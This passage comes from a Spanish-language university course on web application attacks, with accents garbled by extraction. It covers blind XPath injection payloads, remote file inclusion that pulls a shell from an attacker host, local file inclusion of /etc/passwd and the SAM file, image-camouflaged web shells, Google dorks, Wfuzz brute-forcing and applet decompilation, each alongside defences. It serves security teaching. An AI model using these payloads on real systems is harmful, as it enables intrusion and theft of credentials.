Si con esta prueba obtenemos un resultado positivo no hay duda de que es un

sistema XML es vulnerable y ademaacutes es posible extraer todo el aacuterbol XML

iquestcoacutemo utilizando teacutecnicas de ldquobooleanizacioacutenrdquo

El primer paso a la hora de empezar un ataque para descargarse el aacuterbol seriacutea

sacar los valores del nodo raiacutez que contiene el resto de los nodos Los pasos

que habriacutea que realizar seriacutean los siguientes

1) Extraer el nombre del nodo

2) Extraer los atributos del nodo

3) Comprobar si es un elemento3 En caso positivo obtener el valor

4) Calcular el nuacutemero de nodos hijos que contiene el nodo que se estaacute anali-

zando

5) Volver a realizar el paso lsquo1rsquo con los nodos extraiacutedos en el paso lsquo4rsquo

Para extraer el nombre del nodo primero seriacutea necesario calcular el nuacutemero de

caracteres del mismo Esto se puede hacer utilizando la funcioacuten string-length

[PATH]childnode()[position()=[NUMNODO] and string-length (name())gt[NUMERO]]

Donde [PATH] seriacutea el nodo a analizar [NUMNODO] el nuacutemero de nodo (ya

que puede haber varios nodos con el mismo nombre dentro del mismo padre)

y [NUMERO] seriacutea la longitud del nombre del nodo De este modo utilizando

fuerza bruta y teacutecnicas de optimizacioacuten como la buacutesqueda binaria seriacutea posi-

ble sacar la longitud del nombre de la siguiente manera

(3)Si el nodo es un elemento nopuede contener subnodos por loque los pasos 4 y 5 no se realiza-riacutean

CC-BY-NC-ND bull PID_00191662 51 Ataques a aplicaciones web

or childnode()[position()=1 and string-length(name())gt20] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt10] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt5] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt7] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt9] or 1=1 and =

or childnode()[position()=1 and string-length(name())=8] or 1=1 and =

Una vez se sabe que la longitud del nodo son ocho caracteres se puede sacar

el nombre del nodo siguiendo el mismo mecanismo teacutecnicas de ldquobooleaniza-

cioacutenrdquo e imaginacioacuten

or childnode()[position()=1 and starts-with(name()a)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()b)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()c)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()u)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()ua)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()ub)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()us)] and =

or childnode()[position()=1 and starts-with(name()usu)] and =

Seriacutea el mismo proceso para cada letra del nombre utilizando un charset de

caracteres y extraer cada caraacutecter desde la posicioacuten 1 hasta la posicioacuten maacutexi-

ma que seriacutea la longitud del nombre extraiacuteda inicialmente

Los pasos para extraer los atributos y elementos seriacutean exactamente los mis-

mos pero variando la consulta XPath con las siguientes plantillas

1) Para extraer informacioacuten referente a los nodos

bull Longitud del nombre

[PATH]childnode()[position()=[NUMNODO] and

string-length(name())gt[NUMERO]]

bull Nombre del nodo

[PATH]childnode()[position()=[NUMNODO] and

starts-with(name()[VALORES])]

bull Nuacutemero de subnodos

count([PATH]childnode())gt[NUMERO]

2) Para extraer la informacioacuten de los atributos

bull Nuacutemero de atributos de un nodo

count([PATH]childnode()[[NUMNODO]])gt[NUMERO]

CC-BY-NC-ND bull PID_00191662 52 Ataques a aplicaciones web

bull Longitud del nombre del atributo

[PATH]childnode()[position()=[NUMNODO]] and

string-length([PATH]childnode()

[[NUMNODO]][position()=[NUMATT] and

string-length(name())gt[NUMERO]])gt0

bull Longitud del valor del atributo

[PATH]childnode()[position()=[NUMNODO]] and

string-length([PATH]childnode()

[[NUMNODO]][position()=[NUMATT]])gt[NUMERO]

bull Nombre del atributo

[PATH]childnode()[position()=[NUMNODO]] and

[PATH]childnode()[[NUMNODO]][position()=[NUMATT] and

starts-with(name()[VALORES])

bull Valor del atributo

[PATH]childnode()[position()=[NUMNODO]] and

starts-with([PATH]childnode()

[[NUMNODO]][position()=[NUMATT]] [VALORES])

3) Para extraer el contenido de un nodo los elementos

bull Longitud del elemento

string-length([PATH]childtext())gt[NUMERO]

bull Valor del elemento

starts-with([PATH]childtext()[VALORES])

Esta teacutecnica puede resultar muy tediosa y lenta si se realiza manualmente pero

para ello ya existen herramientas que hacen este proceso de forma automaacuteti-

ca y ademaacutes utilizan teacutecnicas de optimizacioacuten como reduccioacuten del charset

para encontrar los datos realizando un reducido nuacutemero de consultas

Implementar una reduccioacuten de charset es algo simple basta con hacer una

query por cada caraacutecter y comprobar si ese caraacutecter existe en alguacuten nodo ele-

mento o atributo del aacuterbol En caso negativo se elimina ese caraacutecter del char-

set Esto puede hacerse con la siguientes query

[contains(name() a)] or [contains(name() a)]

or attribute[contains(a)] or contains( a)

Si esta nos devuelve un resultado positivo se mantiene la letra lsquoarsquo en el charset

de letras a probar sin embargo si nos devuelve la paacutegina que hemos asociado

a una peticioacuten falsa podremos eliminar el caraacutecter a del resto de pruebas a

realizar pues ya sabremos que nunca va a aparecer

CC-BY-NC-ND bull PID_00191662 53 Ataques a aplicaciones web

Otra teacutecnica interesante para la optimizacioacuten del Blind XPath Injection es el

de ldquolearn wordsrdquo de modo que cuando se extrae el nombre de un nodo ele-

mento o atributo se guarda en una lista Cuando se encuentre otro nodoele-

mentoatributo de una longitud de nombre igual a la de alguacuten elemento ya

extraiacutedo hacer comprobaciones con los nodos ya conocidos pues es probable

que si tienen la misma longitud tengan el mismo nombre

En la siguiente imagen se muestra una herramienta en funcionamiento una

vez descargado el aacuterbol XML de una aplicacioacuten web vulnerable

Figura 41 Aacuterbol XML extraiacutedo mediante una aplicacioacutenautomatizada

232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection

La proteccioacuten contra este tipo de teacutecnicas es muy simple y debe correr de

la mano del programador de la aplicacioacuten Uacutenicamente hay que realizar un

filtrado de las entradas teniendo en cuenta dos factores

bull Si la entrada es numeacuterica antes de formar la query comprobar que el valor

introducido en la entrada es un valor numeacuterico y no una cadena de texto

bull Si la entrada es de texto remplazar los caracteres peligrosos como la comi-

lla simple y doble por rsquo y rdquo

CC-BY-NC-ND bull PID_00191662 54 Ataques a aplicaciones web

3 Ataques de Path Transversal

Mediante las teacutecnicas de Path Transversal se va a lograr acceder a in-

formacioacuten referente al servidor desde simplemente el directorio donde

se estaacute ejecutando la aplicacioacuten web hasta lograr descargar ficheros del

servidor Cada uno de estos fallos recibe un nombre y lo estudiaremos

por separado

La informacioacuten obtenida puede ser usada por un atacante para lograr acceder

a otros recursos de la paacutegina mediante alguacuten tipo de ingenieriacutea social o dedu-

ciendo posibles nombres de ficheros yo carpetas para posteriormente acceder

a ellos

Vamos a analizar desde los menos peligrosos hasta los maacutes criacuteticos viendo

coacutemo unos se apoyan en los anteriores y coacutemo en cierta medida dependen

unos de los otros y realmente estaacuten muy relacionados entre siacute

31 Path Disclosure

Este problema no es especiacutefico de una tecnologiacutea sino que puede darse en

cualquier lenguaje de programacioacuten y en cualquier tecnologiacutea de servidor Es-

ta vulnerabilidad no es criacutetica por siacute misma pero puede facilitar las cosas a

un atacante que intente cualquiera de los fallos que se comentaraacuten posterior-

mente

El concepto es lograr conocer la ruta en la que se estaacute ejecutando la apli-

cacioacuten Para ello nos valdremos de mensajes de error (provocados o no)

que contengan rutas a ficheros Esto lo lograremos introduciendo carac-

teres erroacuteneos en los paraacutemetros o accediendo a rutas que no existan

Figura 42 Fallo de Path Disclosure

CC-BY-NC-ND bull PID_00191662 55 Ataques a aplicaciones web

Este mensaje de error puede darse al intentar reproducir cualquiera de los de-

maacutes fallos explicados en esta seccioacuten Normalmente los lenguajes de progra-

macioacuten del lado del servidor si no tienen los errores controlados mostraraacuten

un mensaje de error predefinido que usualmente contiene la ruta del fichero

afectado

Evitar este tipo de errores es tan sencillo como generar nuestras propias paacutegi-

nas de error Tambieacuten controlar cualquier tipo de excepcioacuten en el coacutedigo es

buena praacutectica En definitiva no dejar que los mensajes por defecto se mues-

tren nunca al usuario

CC-BY-NC-ND bull PID_00191662 56 Ataques a aplicaciones web

4 Ataques de inyeccioacuten de ficheros

41 Remote file inclusion

Remote file inclusion es la vulnerabilidad consistente en ejecutar coacutedigo

remoto dentro de la aplicacioacuten vulnerable Se basa en la idea de que al

igual que es posible cargar un fichero local para su inclusioacuten dentro de la

paacutegina podriacuteamos cargar uno remoto que contuviese coacutedigo malicioso

Esto es posible en lenguajes interpretados donde podemos incluir un fichero

con coacutedigo y antildeadirlo a la ejecucioacuten En el siguiente ejemplo se toma como

base una paacutegina programada en PHP

httpwwwmipaginacommostrarphppag=indexphp

PHP hace uso de funciones que permiten la inclusioacuten de ficheros externos

para generar paacuteginas maacutes complejas y maacutes completas En el hipoteacutetico ejemplo

anterior el fichero mostrarphp hariacutea uso de alguna de estas funciones de PHP

que permiten la inclusioacuten dinaacutemica de ficheros

bull include($pag)

bull require($pag)

bull include_once($pag)

bull require_once($pag)

Estas funciones reciben un paraacutemetro (llamado $pag en este ejemplo) que in-

dica la ruta del fichero que ha de incluirse Si la variable pag no estaacute suficien-

temente controlada podremos hacer una llamada a un fichero externo que se

descargaraacute e interpretaraacute en el lado del servidor

httpwwwmipaginacommostrarphppag=httpmalocomshelltxt

En la llamada anterior el servidor mipaginacom solicitaraacute a malocom el

fichero shelltxt que incluiraacute coacutedigo PHP vaacutelido que se ejecutaraacute en

mipaginacom

Este fallo se debe a una mala configuracioacuten del servidor PHP el cual permite la

inclusioacuten de ficheros externos La configuracioacuten correcta deberiacutea ser la prohi-

bicioacuten total de realizar estas acciones

CC-BY-NC-ND bull PID_00191662 57 Ataques a aplicaciones web

Para establecer una configuracioacuten adecuada en el inteacuterprete de PHP debemos

buscar el fichero phpini de configuracioacuten (en Linux suele estar en etc

php5phpini) y establecer la clave de configuracioacuten allow_url_include

a false

Este fallo de seguridad puede dar lugar a que un atacante logre ejecutar cual-

quier coacutedigo deseado en el servidor web con los riesgos que esto conlleva

Existen ficheros ya pregenerados para ser incluidos dentro del flujo de ejecu-

cioacuten de la aplicacioacuten web Van desde un simple inteacuterprete de comandos a una

completa shell equipada con su propio explorador de ficheros opciones pa-

ra subir o descargar ficheros e incluso la posibilidad de ejecutar programas en

el equipo remoto

Figura 43 Shell remota ejecutaacutendose

Existe una gran variedad de shells remotas que podemos encontrar en Internet

Por ejemplo la shell mostrada en la figura anterior se llama c99 aunque existen

otras como la r57 o c100 De todas maneras siempre podemos programarnos

una propia con la funcionalidad que necesitemos

42 Local file inclusion

Esta vulnerabilidad al contrario que la anterior afecta tanto a lenguajes com-

pilados como interpretados Se basa en la posibilidad de incluir dentro de la

paacutegina un fichero local del usuario con el que se ejecuta el servidor de aplica-

ciones web que tenga permisos de lectura

Esta vulnerabilidad puede ocurrir en cualquier lugar de un sitio web pero suele

ser maacutes comuacuten en dos sitios bien diferenciados

bull Paacuteginas de plantillas carga un fichero desde otro y le da formato

CC-BY-NC-ND bull PID_00191662 58 Ataques a aplicaciones web

bull Paacuteginas de descargas recibe un paraacutemetro con el nombre del fichero a

descargar y lo enviacutea al cliente

El concepto tras ambos fallos es el mismo y las implementaciones defectuo-

sas a veces tambieacuten Para lograr explotar esta vulnerabilidad de una manera

satisfactoria deberiacuteamos poder hacer llamadas a ficheros fuera de la ruta ori-

ginal Esto lo hariacuteamos intentando incluir ficheros de un directorio superior

usando los caracteres en sistemas Linux o en sistemas Windows maacutes

el nombre de un fichero del que conozcamos su existencia Por ejemplo sos-

pechamos que la siguiente URL tiene un fallo de local file inclusion

httpwwwvictimacomnoticiasdetallephpid=4amptipo=deportesphp

Entonces para corroborarlo y determinar que efectivamente nos encontramos

frente a un fallo de remote file inclusion podriacuteamos modificar la URL hasta que

quedase como sigue

httpwwwvictimacomnoticiasdetallephpid=4amptipo=indexphp

Con esta simple comprobacioacuten podriacuteamos detectar si una paacutegina va a ser vul-

nerable a local file inclusion

Esta teacutecnica se puede ampliar (si los permisos lo permiten y no se aplica el

concepto del miacutenimo privilegio) a ficheros fuera del directorio de la aplicacioacuten

web y empezar a incluir ficheros del propio sistema operativo Esto nos per-

mitiraacute obtener maacutes informacioacuten sobre el equipo

Para localizar sin equivocaciones los ficheros podemos usar un fallo de Path

Disclosure para que nos deacute informacioacuten sobre la ruta local donde se ubican

estos De todas maneras y si no sabemos la ruta relativa de un fichero frente

a la paacutegina vulnerable podemos usar las rutas directas4

Existen muchos ficheros interesantes a los que acceder mediante esta teacutecnica

dependiendo de los objetivos del atacante Ademaacutes estos variaraacuten entre distin-

tos sistemas operativos A continuacioacuten se detallan algunos de estos ficheros

como muestra de la informacioacuten que podemos llegar a obtener

bull etcpasswd Fichero de usuarios en sistemas Linux Contiene un com-

pendio de los usuarios existentes asiacute como datos relativos a ellos como

nombre o directorio del home

bull etchosts Permite guardar informacioacuten sobre equipos proacuteximos Suele

contener una lista de nombre e IPS internos que nos permiten obtener una

mejor idea de la estructura interna de una organizacioacuten

bull CWindowsrepairSAM La SAM es el fichero que contiene los nombres

de usuarios y claves de los usuarios de un sistema Windows En la carpeta

(4)Una ruta directa es la que inclu-ye todo el nombre del fichero

CC-BY-NC-ND bull PID_00191662 59 Ataques a aplicaciones web

Repair se almacena una copia del fichero SAM para poder recuperarla en

caso de error del sistema

bull El propio fichero vulnerable Es muy instructivo descargar el propio fichero

vulnerable mediante el fallo de local file inclusion para poder aprender de

los problemas de otros

Para evitar que esta teacutecnica tenga mayor impacto es importante pensar en

montar el servidor con el miacutenimo privilegio posible limitando la posibilidad

de acceso a ficheros del servidor dentro de su propia carpeta con lo que lo-

gramos evitar el acceso a ficheros del sistema aunque no a ficheros propios

de la aplicacioacuten

Figura 44 Ejemplo de local file inclusion

Si queremos hacer una proteccioacuten mediante programacioacuten en lugar de contro-

larlo mediante permisos en el servidor hay que tener en cuenta que las rutas

a ficheros se pueden escribir de dos maneras

bull Directa Escribimos la ruta donde se encuentra el fichero directamente

Deberiacuteamos por tanto eliminar los caracteres o de los datos enviados

por los usuarios

bull Relativa Usamos la canonizacioacuten para subir hacia directorios superiores

mediante el uso de o Lo podriacuteamos evitar excluyendo ademaacutes

de lo anterior los puntos

43 Webtrojans

Una de las funcionalidades maacutes extendidas en paacuteginas web medianamente

complejas es la posibilidad de subir ficheros al servidor imaacutegenes documentos

en PDF ficheros de viacutedeo etc

Cuando un usuario nos enviacutea un fichero debemos comprobar que lo que nos

enviacutea es un fichero legiacutetimo es decir si estamos esperando la llegada de un

fichero con una imagen es necesario comprobar que lo que recibimos es real-

mente una imagen y no otro tipo de fichero

CC-BY-NC-ND bull PID_00191662 60 Ataques a aplicaciones web

Si no comprobamos los ficheros que se nos enviacutean podriacuteamos estar copiando

en nuestro servidor un fichero malintencionado conocido como webtrojan5

Existen multitud de shells remotas en distintos lenguajes a disposicioacuten de cual-

quiera Estas shells suelen ser detectadas por los antivirus para evitar que pasen

desapercibidas a administradores despistados pero pueden ser ldquocamufladasrdquo

dentro de otros ficheros

El ejemplo maacutes claro de coacutemo camuflar un fichero de estos es incluirlo tras

una cabecera de una imagen donde algunos servidores son capaces de ejecutar

el coacutedigo

Figura 45 Webtrojan oculto dentro de un fichero GIF

En la imagen anterior se puede ver coacutemo un fichero gif abierto con un visor

de textos deja a la vista coacutedigo PHP que va a generar una puerta trasera para

subir cualquier tipo de fichero

Para evitar este tipo de problemas debemos comprobar siempre no solo la ex-

tensioacuten sino tambieacuten la cabecera del fichero para corroborar que es del tipo

que nosotros hemos permitido Una buena praacutectica es la de establecer noso-

tros mediante programacioacuten la extensioacuten de los ficheros que se nos suben

evitando que alguien pueda subir un fichero y establecerlo con extensiones

como ASP o PHP

(5)Es una shell remota que pode-mos subir a un servidor aprove-chando un fallo de seguridad

CC-BY-NC-ND bull PID_00191662 61 Ataques a aplicaciones web

5 Google Hacking

Google indexa hoy en diacutea millones de paacuteginas web y no entiende de zonas

privadas ni restringidas Todo aquello que esteacute enlazado a alguacuten sitio y sea

accesible estaraacute en Google Si conocemos coacutemo funciona Google (y en general

los buscadores) podremos acceder a mucha informacioacuten que ni siquiera sus

propietarios saben que se encuentra ahiacute

Es por esta razoacuten por lo que saber coacutemo hacer preguntas a Google sobre la

informacioacuten que nos interesa es muy importante permitieacutendonos recopilar

mucha informacioacuten sobre un sitio web sin necesidad de realizar en principio

ninguna peticioacuten al servidor en cuestioacuten

Google ofrece varios filtros que nos permitiraacuten afinar la buacutesqueda que quere-

mos realizar y que combinados unos con otros alcanzan una potencia mucho

mayor

bull +ltpalabragt Incluir un + (maacutes) delante de una palabra requiere la presencia

obligatoria de esta palabra en las paacuteginas devueltas

bull -ltpalabragt Con un siacutembolo ndash (menos) delante de una palabra excluye

todos los resultados que contengan esa palabra

bull ldquoltpalabrasgtrdquo Al colocar una frase entre comillas dobles buscamos cadenas

completas de texto dentro de los resultados

bull Se puede usar el caraacutecter con el significado de que puede aparecer cual-

quier palabra dentro de una frase entrecomillada

bull intitlelttextogt Permite buscar en el tiacutetulo de la paacutegina

bull inurllttextogt Realiza las buacutesquedas en la URL de la paacutegina

bull intextlttextogt Busca el texto en el cuerpo de las paacuteginas devueltas

bull filetypeltextensioacutengt Restringe la buacutesqueda a la extensioacuten especifi-

cada

bull domainltdominiogt Limita los resultados al dominio especificado Se

puede usar solo el identificador del paiacutes (como es)

Con estos filtros y combinaacutendolos entre siacute podemos lograr encontrar cualquier

cosa que esteacute en Internet

CC-BY-NC-ND bull PID_00191662 62 Ataques a aplicaciones web

Figura 46 Resultados de la buacutesqueda +usersmdb intitlerdquoIndex ofrdquo

Google Hacking Database es una base de datos de buacutesquedas de corroborada

eficacia que permite obtener datos interesantes referentes a ficheros de confi-

guracioacuten zonas privadas dispositivos conectados a la red software vulnera-

ble etc

Usando este tipo de buacutesquedas se puede llegar a conocer muchiacutesimos datos

de un servidor Uno de los ejemplos maacutes claros es la posibilidad de localizar

subdominios de un dominio dado mediante buacutesquedas recursivas Vamos a

realizar un ejemplo para que quede demostrada la utilidad de estas teacutecnicas

Para empezar se selecciona un dominio en este caso se ha elegido el dominio

uoces y se ejecuta la siguiente buacutesqueda

siteuocedu

Esta buacutesqueda devuelve 587000 resultados Evidentemente todas estas paacutegi-

nas no pertenecen solo a un dominio sino que habraacute distintos sitios implica-

dos

El proceso es simple Consiste en ver cuaacutel es el subdominio del primer resul-

tado devuelto y antildeadirlo con un siacutembolo ndash (menos) delante Por ejemplo

-www siteuoces

Excluyendo el subdominio www de las buacutesquedas obtendremos un nuacutemero de

paacuteginas devueltas de 631000 Siguiendo este proceso llegaremos hasta generar

una buacutesqueda que no nos devuelva ninguacuten resultado una aproximacioacuten seriacutea

la siguiente

-acc -rusc -elcrps -blogs -personal -eprints -cataleg -osrt -clab -unescochair -elearning

-multimedia -edulab -net -itol -gres -red -lletra -laboralcentrodearte -lpg -elconcept

-biblioteca -comein -foto -guatemala -einflinux1 -cicr -campus -icesd -laos -xequia

CC-BY-NC-ND bull PID_00191662 63 Ataques a aplicaciones web

-dpcs -cimanet -comoras -marroc -colleague -colloque -xina -macedonia -oliba -cv

-www -biblio siteuoces

Cabe recordar que hasta este momento y mediante esta teacutecnica en ninguacuten

momento se ha realizado ninguna peticioacuten directa hacia el dominio uoces

por lo que seriacutea imposible conocer quieacuten estaacute intentando averiguar informa-

cioacuten sobre nuestro dominio

Otras buacutesquedas que podemos encontrar aquiacute son las que nos pueden devolver

todos los ficheros ofimaacuteticos del servidor tales como ficheros doc xls pdf

etc

Estos ficheros en sus distintas versiones incluyen mayor o menor cantidad

de metadatos que tienen informacioacuten acerca de nombres de usuarios o rutas

locales del ordenador donde se generoacute el fichero Con toda esta informacioacuten

un atacante podriacutea empezar a utilizar un programa de fuerza bruta para inten-

tar sacar las contrasentildeas

CC-BY-NC-ND bull PID_00191662 64 Ataques a aplicaciones web

6 Seguridad por ocultacioacuten

Es habitual esconder una llave ldquode emergenciardquo en alguacuten lugar cercano a la

puerta de una casa para que dado el caso podamos entrar si hemos perdido

nuestra llave Evidentemente esto no es nada seguro pues cualquier persona

que la encuentre podraacute acceder al igual que nosotros a nuestra casa

Este siacutemil con la vida real sirve para enlazar la idea con una aplicacioacuten web

Es comuacuten entre los programadores web usar directorios especiacuteficos para acti-

vidades especiacuteficas como la administracioacuten las zonas de pruebas o la subida

de ficheros temporales Algunas de las maacutes comunes son

bull admin

bull logs

bull uploads

bull phpmyadmin

bull tmp

Estos directorios se pueden descubrir mediante pruebas manuales o haciendo

uso de alguacuten programa tipo fuzzer6 que realice las peticiones por nosotros

En este caso lo vamos a usar para automatizar la buacutesqueda de directorios con

nombres conocidos

Wfuzz es un programa de este tipo realiza conexiones a un servidor web sus-

tituyendo en la zona de la URL que nosotros especifiquemos una cadena de

texto que va cogiendo liacutenea tras liacutenea de un fichero de texto

Se puede descargar gratuitamente y lo vamos a usar para realizar una demos-

tracioacuten de los datos que se pueden llegar a obtener mediante esta herramienta

Vamos a aprender a usarla pues la sintaxis es simple

wfuzzexe -z file -f wordlistscommontxt --hc 404 httpwwwvictimacomFUZZ

La liacutenea anterior representa una ejecucioacuten tiacutepica del programa Wfuzz y nos va

a servir como ejemplo para determinar cuaacuteles son los paraacutemetros maacutes uacutetiles a la

hora de realizar un anaacutelisis mediante esta herramienta Con estos paraacutemetros

estaremos indicaacutendole al programa que

bull -z Use el payload de tipo fichero Esto es los nombres de las carpetas ocul-

tas que vamos a buscar se van a coger desde un fichero de texto

(6)Un programa fuzzer es un pro-grama que automatiza tareas repe-titivas

CC-BY-NC-ND bull PID_00191662 65 Ataques a aplicaciones web

bull -f El nombre del fichero que se va a usar En este caso hemos seleccionado

el fichero commontxt que acompantildea al programa y que contiene una lista

de los nombres maacutes comunes de directorios ocultos

bull --hc 404 El paraacutemetro hc nos permite eliminar resultados de la salida del

programa en base al coacutedigo HTTP que se devuelva En el ejemplo se ha

usado el coacutedigo 404 por ser el coacutedigo asociado a los errores en el protocolo

HTTP Tambieacuten se pueden establecer filtros por nuacutemero de liacuteneas (--hl) y

palabras (--hw) que contiene una paacutegina por si nos encontramos con un

servidor que devuelva siempre una paacutegina con coacutedigo 200

bull httpwwwvictimacomFUZZ Allaacute donde coloquemos la palabra fuzz se-

raacute donde el programa incluya en cada peticioacuten la palabra siguiente del fi-

chero especificado

Figura 47 Resultado de la ejecucioacuten del programa Wfuzz

En la imagen anterior apreciamos coacutemo el programa ha detectado una serie

de directorios en el servidor analizado De estos directorios los de ldquopasswordrdquo

y ldquotestrdquo pueden resultar interesantes para comenzar a realizar una revisioacuten de

seguridad

Otra manera de encontrar directorios y ficheros ocultos en una aplicacioacuten es la

buacutesqueda del fichero robotstxt Este fichero es usado por los administradores

de sitios web para evitar que Google y otros buscadores indexen zonas que

no desean

CC-BY-NC-ND bull PID_00191662 66 Ataques a aplicaciones web

Figura 48 Ejemplo de fichero robotstxt

El problema es que mucha gente no entiende completamente el concepto de

este fichero antildeadiendo a eacutel todas las rutas que no quieren que se indexen

aunque no esteacuten enlazados desde ninguacuten sitio (recordemos que los buscado-

res solo indexan si se realiza un enlace desde alguacuten sitio) Por ello podemos

encontrarnos con ficheros robotstxt que contienen referencias a zonas admi-

nistrativas de pruebas privadas

Otro fichero que puede darnos mucha informacioacuten y que al contrario de

los anteriores es informacioacuten puacuteblica es el fichero sitemapxml El fichero

sitemapxml es un fichero propuesto por Google como una manera de indi-

carle al buscador cuaacuteles son las paacuteginas maacutes interesantes de un sitio web y

cuaacuteles son las menos actualizadas Esta informacioacuten parece obvia y podemos

descubrirla nosotros mismos navegando por la paacutegina Sin embargo es de vital

importancia pues nos ahorra tiempo en navegar por el sitio y con una sola

peticioacuten obtenemos un esquema de la estructura del mismo A continuacioacuten

se muestra un ejemplo de un fichero sitemapxml

ltxml version=10 encoding=UTF-8gt

lturlset xmlns=httpwwwsitemapsorgschemassitemap09gt

lturlgt

ltlocgthttpwwwacomltlocgt

ltlastmodgt2005-01-01ltlastmodgt

ltchangefreqgtmonthlyltchangefreqgt

ltprioritygt08ltprioritygt

lturlgt

lturlgt

ltlocgthttpwwwacomnewsltlocgt

ltchangefreqgtweeklyltchangefreqgt

lturlgt

lturlgt

ltlocgthttpwwwacomarchiveltlocgt

ltlastmodgt2004-12-23ltlastmodgt

changefreqgtweeklyltchangefreqgt

CC-BY-NC-ND bull PID_00191662 67 Ataques a aplicaciones web

lturlgt

lturlgt ltlocgthttpwwwacomfaqltlocgt

ltlastmodgt2004-12-23T180015+0000ltlastmodgt

ltprioritygt03ltprioritygt

lturlgt

lturlgt ltlocgthttpwwwacomaboutltlocgt

ltlastmodgt2004-11-23ltlastmodgt

lturlgt

lturlsetgt

61 Descompiladores de applets web

611 Flash

Flash se ha puesto cada vez maacutes de moda como una manera de ofrecer una

interfaz atractiva al usuario final En la actualidad hay multitud de paacuteginas

que hacen un uso casi abusivo de esta tecnologiacutea Pero debemos tener en con-

sideracioacuten algo importante y es que Flash no es maacutes que la capa de presenta-

cioacuten sobre la capa de datos y nunca una uacutenica capa que se encarga de todo

aunque a veces ocurre

Es por ello por lo que estas paacuteginas en Flash si cargan datos dinaacutemicamente

han de llamar a paacuteginas que se los devuelvan en funcioacuten de los paraacutemetros

proporcionados Estos paraacutemetros podriacutean ser vulnerables a las inyecciones de

coacutedigo que se comentaron anteriormente Estas llamadas a ficheros externos

se pueden observar faacutecilmente usando un sniffer del protocolo HTTP

Un ejemplo claro de esto son las paacuteginas que usan un reproductor de audio

en Flash y en las que podemos descargar los ficheros mp3 sin necesidad de ver

el coacutedigo fuente del fichero Flash

CC-BY-NC-ND bull PID_00191662 68 Ataques a aplicaciones web

Figura 49 Captura del fichero mp3 reproducido desde unreproductor web

Tambieacuten es posible en ficheros Flash la descompilacioacuten de los ficheros dando

lugar a un pseudocoacutedigo legible que permitiriacutea a un atacante conocer coacutemo

actuacutea internamente el fichero Ademaacutes es posible convertir el coacutedigo a un en-

samblador de ActionScript7 que podemos modificar y volver a compilar daacuten-

donos la posibilidad por ejemplo de incluir coacutedigo Javascript dentro de un

fichero Flash

Existen muacuteltiples programas para realizar esta accioacuten y aquiacute vamos a mostrar

coacutemo realizar esto mediante el programa Flasm de descarga gratuita

La aplicacioacuten se ejecuta desde consola Recibe el paraacutemetro ndashd para descompi-

lar el fichero swf que recibe Al volcar el coacutedigo por pantalla necesitamos redi-

rigir hacia un fichero de texto la salida del programa En este ejemplo vamos

a realizar la accioacuten con un pequentildeo juego Flash

Figura 50 Ejecucioacuten del comando flasmexe

Este comando parsea el fichero swf y extrae el coacutedigo asociado a eacutel Logra

extraer el coacutedigo y convertirlo en un lenguaje parecido al ensamblador

(7)Es el lenguaje usado internamen-te para programar las aplicacio-nes Flash Tiene una sintaxis pare-cida a Javascript y es un lenguajeinterpretado lo cual significa quepodemos lograr extraer el coacutedigofuente original del fichero swf

CC-BY-NC-ND bull PID_00191662 69 Ataques a aplicaciones web

Figura 51 Volcado del coacutedigo del fichero swf

Conocer el coacutedigo fuente de un fichero swf nos puede ayudar a entender coacutemo

funciona la aplicacioacuten a buscar fallos de seguridad en el coacutedigo o a localizar las

URL a las que hace referencia para cargar informacioacuten dentro de la aplicacioacuten

Flash Una vez localizadas estas URL seriacutea cuestioacuten de probar sobre ellas los

fallos de seguridad comentados en capiacutetulos anteriores

612 Java

Al igual que con los ficheros Flash aunque con menos popularidad en la ac-

tualidad existen los llamados applets Java pequentildeas aplicaciones que se eje-

cutan dentro de nuestro navegador

Java se ejecuta sobre una maacutequina virtual se puede ejecutar el mismo coacutedigo

en cualquier ordenador que implemente la maacutequina virtual de Java Esto tiene

muchas ventajas a la hora de exportar nuestra aplicacioacuten Sin embargo esto

tambieacuten nos permite poder extraer el coacutedigo exactamente igual que lo haciacutea-

mos en Flash

Para realizar esta accioacuten existen programas que efectuacutean esta conversioacuten y nos

muestran el coacutedigo Java original En la captura siguiente el programa usado

es Java Decompiler un programa gratuito que nos permitiraacute realizar estas ac-

ciones

CC-BY-NC-ND bull PID_00191662 70 Ataques a aplicaciones web

Figura 52 Pantalla principal del Java Decompiler

613 NET

Microsoft ha sumado su plataforma NET a la web Existen las aplicaciones

ASPNET que se ejecutan del lado del servidor y que no vamos a poder auditar

maacutes allaacute de los paraacutemetros que reciba Sin embargo estaacute poco a poco expan-

dieacutendose una nueva tecnologiacutea llamada Silverlight Silverlight es un compila-

do NET que se carga desde el servidor mediante un plugin en nuestro navega-

dor Esto al igual que Flash y Java nos permite analizar el coacutedigo fuente de

la aplicacioacuten Silverlight

Figura 53 Aplicacioacuten de muestra de Silverlight

CC-BY-NC-ND bull PID_00191662 71 Ataques a aplicaciones web

En la captura anterior se puede observar una aplicacioacuten Silverlight muy simple

Nos va a solicitar usuario y contrasentildea para lograr entrar Esta aplicacioacuten estaacute

programada para que compruebe los datos introducidos con unos datos que

estaacuten escritos dentro de la aplicacioacuten Esto es un grave fallo de seguridad y

vamos a ver coacutemo analizar el fichero para sacar el usuario y la contrasentildea

vaacutelidos El detalle de coacutedigo Javascript seriacutea

Para descargar una aplicacioacuten Silverlight debemos localizar dentro del coacutedigo

HTML la seccioacuten de coacutedigo que realice la carga del fichero XAP Este fichero

contiene todo el coacutedigo de la aplicacioacuten Silverlight y seraacute lo que nuestro na-

vegador interprete

El fichero XAP contiene una serie de ficheros necesarios para la ejecucioacuten del

programa Estos ficheros son compilados de NET y pueden ser analizados me-

diante programas como NET Reflector Los ficheros contenidos en este fiche-

ro pueden ser extraiacutedos mediante el uso de cualquier programa descompresor

pues realmente es un fichero ZIP

Figura 54ndash Fichero xap descomprimido

Una vez descomprimido se nos muestran una serie de archivos Estos archivos

contienen informacioacuten referente a la interfaz usada por la aplicacioacuten pero

realmente los datos importantes se encuentran en el fichero Test001dll (en el

ejemplo actual) Este fichero puede ser descompilado mediante el programa

indicado anteriormente y acceder al coacutedigo fuente interno En este caso se

observan dos clases principales App y MainPage
